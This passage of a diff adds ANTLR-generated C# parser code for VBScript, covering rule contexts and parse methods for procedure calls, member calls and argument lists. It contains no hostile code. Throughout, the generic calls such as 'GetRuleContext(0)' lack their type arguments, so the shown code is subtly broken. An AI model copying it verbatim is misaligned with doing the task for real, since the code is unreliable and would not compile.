Interpreter.AdaptivePredict(TokenStream,460,Context) ) { + case 1: + { + State = 2760; + argsCall(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_B_ProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public CertainIdentifierContext certainIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public NoParenthesisArgsContext noParenthesisArgs() { + return GetRuleContext(0); + } + public ICS_B_ProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_B_ProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_B_ProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_B_ProcedureCall(this); + } + } + + [RuleVersion(0)] + public ICS_B_ProcedureCallContext iCS_B_ProcedureCall() { + ICS_B_ProcedureCallContext _localctx = new ICS_B_ProcedureCallContext(Context, State); + EnterRule(_localctx, 260, RULE_iCS_B_ProcedureCall); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2763; + certainIdentifier(); + State = 2764; + noParenthesisArgs(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_B_MemberProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT() { return GetToken(VBScriptParser.DOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public NoParenthesisArgsContext noParenthesisArgs() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + public ICS_B_MemberProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_B_MemberProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_B_MemberProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_B_MemberProcedureCall(this); + } + } + + [RuleVersion(0)] + public ICS_B_MemberProcedureCallContext iCS_B_MemberProcedureCall() { + ICS_B_MemberProcedureCallContext _localctx = new ICS_B_MemberProcedureCallContext(Context, State); + EnterRule(_localctx, 262, RULE_iCS_B_MemberProcedureCall); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2767; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,461,Context) ) { + case 1: + { + State = 2766; + implicitCallStmt_InStmt(); + } + break; + } + State = 2769; + Match(DOT); + State = 2770; + ambiguousIdentifier(); + State = 2772; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,462,Context) ) { + case 1: + { + State = 2771; + typeHint(); + } + break; + } + State = 2775; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,463,Context) ) { + case 1: + { + State = 2774; + noParenthesisArgs(); + } + break; + } + State = 2778; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,464,Context) ) { + case 1: + { + State = 2777; + defaultMemberAccess(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ImplicitCallStmt_InStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_MembersCallContext iCS_S_MembersCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_ProcedureOrArrayCallContext iCS_S_ProcedureOrArrayCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_DefaultMemberAccessContext iCS_S_DefaultMemberAccess() { + return GetRuleContext(0); + } + public ImplicitCallStmt_InStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_implicitCallStmt_InStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterImplicitCallStmt_InStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitImplicitCallStmt_InStmt(this); + } + } + + [RuleVersion(0)] + public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + ImplicitCallStmt_InStmtContext _localctx = new ImplicitCallStmt_InStmtContext(Context, State); + EnterRule(_localctx, 264, RULE_implicitCallStmt_InStmt); + try { + State = 2784; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,465,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 2780; + iCS_S_MembersCall(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 2781; + iCS_S_VariableOrProcedureCall(); + } + break; + case 3: + EnterOuterAlt(_localctx, 3); + { + State = 2782; + iCS_S_ProcedureOrArrayCall(); + } + break; + case 4: + EnterOuterAlt(_localctx, 4); + { + State = 2783; + iCS_S_DefaultMemberAccess(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_VariableOrProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + public ICS_S_VariableOrProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_VariableOrProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_VariableOrProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_VariableOrProcedureCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + ICS_S_VariableOrProcedureCallContext _localctx = new ICS_S_VariableOrProcedureCallContext(Context, State); + EnterRule(_localctx, 266, RULE_iCS_S_VariableOrProcedureCall); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2786; + ambiguousIdentifier(); + State = 2788; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,466,Context) ) { + case 1: + { + State = 2787; + typeHint(); + } + break; + } + State = 2791; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,467,Context) ) { + case 1: + { + State = 2790; + defaultMemberAccess(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_ProcedureOrArrayCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BaseTypeContext baseType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_NestedProcedureCallContext iCS_S_NestedProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] LPAREN() { return GetTokens(VBScriptParser.LPAREN); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN(int i) { + return GetToken(VBScriptParser.LPAREN, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] RPAREN() { return GetTokens(VBScriptParser.RPAREN); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN(int i) { + return GetToken(VBScriptParser.RPAREN, i); + } + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext[] argsCall() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall(int i) { + return GetRuleContext(i); + } + public ICS_S_ProcedureOrArrayCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_ProcedureOrArrayCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_ProcedureOrArrayCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_ProcedureOrArrayCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_ProcedureOrArrayCallContext iCS_S_ProcedureOrArrayCall() { + ICS_S_ProcedureOrArrayCallContext _localctx = new ICS_S_ProcedureOrArrayCallContext(Context, State); + EnterRule(_localctx, 268, RULE_iCS_S_ProcedureOrArrayCall); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2796; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,468,Context) ) { + case 1: + { + State = 2793; + ambiguousIdentifier(); + } + break; + case 2: + { + State = 2794; + baseType(); + } + break; + case 3: + { + State = 2795; + iCS_S_NestedProcedureCall(); + } + break; + } + State = 2799; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 2798; + typeHint(); + } + } + + State = 2802; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2801; + Match(WS); + } + } + + State = 2815; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2804; + Match(LPAREN); + State = 2806; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,471,Context) ) { + case 1: + { + State = 2805; + Match(WS); + } + break; + } + State = 2812; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & -9038161502195941409L) != 0) || ((((_la - 197)) & ~0x3f) == 0 && ((1L << (_la - 197)) & 70249505L) != 0)) { + { + State = 2808; + argsCall(); + State = 2810; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2809; + Match(WS); + } + } + + } + } + + State = 2814; + Match(RPAREN); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2817; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,474,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2820; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,475,Context) ) { + case 1: + { + State = 2819; + defaultMemberAccess(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_NestedProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + public ICS_S_NestedProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_NestedProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_NestedProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_NestedProcedureCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_NestedProcedureCallContext iCS_S_NestedProcedureCall() { + ICS_S_NestedProcedureCallContext _localctx = new ICS_S_NestedProcedureCallContext(Context, State); + EnterRule(_localctx, 270, RULE_iCS_S_NestedProcedureCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2822; + ambiguousIdentifier(); + State = 2824; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 2823; + typeHint(); + } + } + + State = 2827; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2826; + Match(WS); + } + } + + State = 2829; + Match(LPAREN); + State = 2831; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,478,Context) ) { + case 1: + { + State = 2830; + Match(WS); + } + break; + } + State = 2837; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & -9038161502195941409L) != 0) || ((((_la - 197)) & ~0x3f) == 0 && ((1L << (_la - 197)) & 70249505L) != 0)) { + { + State = 2833; + argsCall(); + State = 2835; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2834; + Match(WS); + } + } + + } + } + + State = 2839; + Match(RPAREN); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_MembersCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_ProcedureOrArrayCallContext iCS_S_ProcedureOrArrayCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_MemberCallContext[] iCS_S_MemberCall() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_MemberCallContext iCS_S_MemberCall(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + public ICS_S_MembersCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_MembersCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_MembersCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_MembersCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_MembersCallContext iCS_S_MembersCall() { + ICS_S_MembersCallContext _localctx = new ICS_S_MembersCallContext(Context, State); + EnterRule(_localctx, 272, RULE_iCS_S_MembersCall); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2843; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,481,Context) ) { + case 1: + { + State = 2841; + iCS_S_VariableOrProcedureCall(); + } + break; + case 2: + { + State = 2842; + iCS_S_ProcedureOrArrayCall(); + } + break; + } + State = 2846; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2845; + iCS_S_MemberCall(); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2848; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,482,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2851; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,483,Context) ) { + case 1: + { + State = 2850; + defaultMemberAccess(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_MemberCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT() { return GetToken(VBScriptParser.DOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_ProcedureOrArrayCallContext iCS_S_ProcedureOrArrayCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public ICS_S_MemberCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_MemberCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_MemberCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_MemberCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_MemberCallContext iCS_S_MemberCall() { + ICS_S_MemberCallContext _localctx = new ICS_S_MemberCallContext(Context, State); + EnterRule(_localctx, 274, RULE_iCS_S_MemberCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2854; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2853; + Match(WS); + } + } + + State = 2856; + Match(DOT); + State = 2858; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2857; + Match(WS); + } + } + + State = 2862; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,486,Context) ) { + case 1: + { + State = 2860; + iCS_S_VariableOrProcedureCall(); + } + break; + case 2: + { + State = 2861; + iCS_S_ProcedureOrArrayCall(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_DefaultMemberAccessContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + public ICS_S_DefaultMemberAccessContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_DefaultMemberAccess; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_DefaultMemberAccess(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_DefaultMemberAccess(this); + } + } + + [RuleVersion(0)] + public ICS_S_DefaultMemberAccessContext iCS_S_DefaultMemberAccess() { + ICS_S_DefaultMemberAccessContext _localctx = new ICS_S_DefaultMemberAccessContext(Context, State); + EnterRule(_localctx, 276, RULE_iCS_S_DefaultMemberAccess); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2864; + defaultMemberAccess(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgsCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ArgCallContext[] argCall() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgCallContext argCall(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] SEMICOLON() { return GetTokens(VBScriptParser.SEMICOLON); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON(int i) { + return GetToken(VBScriptParser.SEMICOLON, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public ArgsCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_argsCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArgsCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArgsCall(this); + } + } + + [RuleVersion(0)] + public ArgsCallContext argsCall() { + ArgsCallContext _localctx = new ArgsCallContext(Context, State); + EnterRule(_localctx, 278, RULE_argsCall); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2878; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,490,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2867; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,487,Context) ) { + case 1: + { + State = 2866; + argCall(); + } + break; + } + State = 2870; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2869; + Match(WS); + } + } + + State = 2872; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2874; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,489,Context) ) { + case 1: + { + State = 2873; + Match(WS); + } + break; + } + } + } + } + State = 2880; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,490,Context); + } + State = 2881; + argCall(); + State = 2894; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,494,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2883; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2882; + Match(WS); + } + } + + State = 2885; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2887; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,492,Context) ) { + case 1: + { + State = 2886; + Match(WS); + } + break; + } + State = 2890; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,493,Context) ) { + case 1: + { + State = 2889; + argCall(); + } + break; + } + } + } + } + State = 2896; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,494,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYVAL() { return GetToken(VBScriptParser.BYVAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYREF() { return GetToken(VBScriptParser.BYREF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PARAMARRAY() { return GetToken(VBScriptParser.PARAMARRAY, 0); } + public ArgCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_argCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArgCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArgCall(this); + } + } + + [RuleVersion(0)] + public ArgCallContext argCall() { + ArgCallContext _localctx = new ArgCallContext(Context, State); + EnterRule(_localctx, 280, RULE_argCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2899; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,495,Context) ) { + case 1: + { + State = 2897; + _la = TokenStream.LA(1); + if ( !(_la==BYVAL || _la==BYREF || _la==PARAMARRAY) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2898; + Match(WS); + } + break; + } + State = 2901; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DefaultMemberAccessContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXCLAMATIONMARK() { return GetToken(VBScriptParser.EXCLAMATIONMARK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + public DefaultMemberAccessContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_defaultMemberAccess; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDefaultMemberAccess(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void 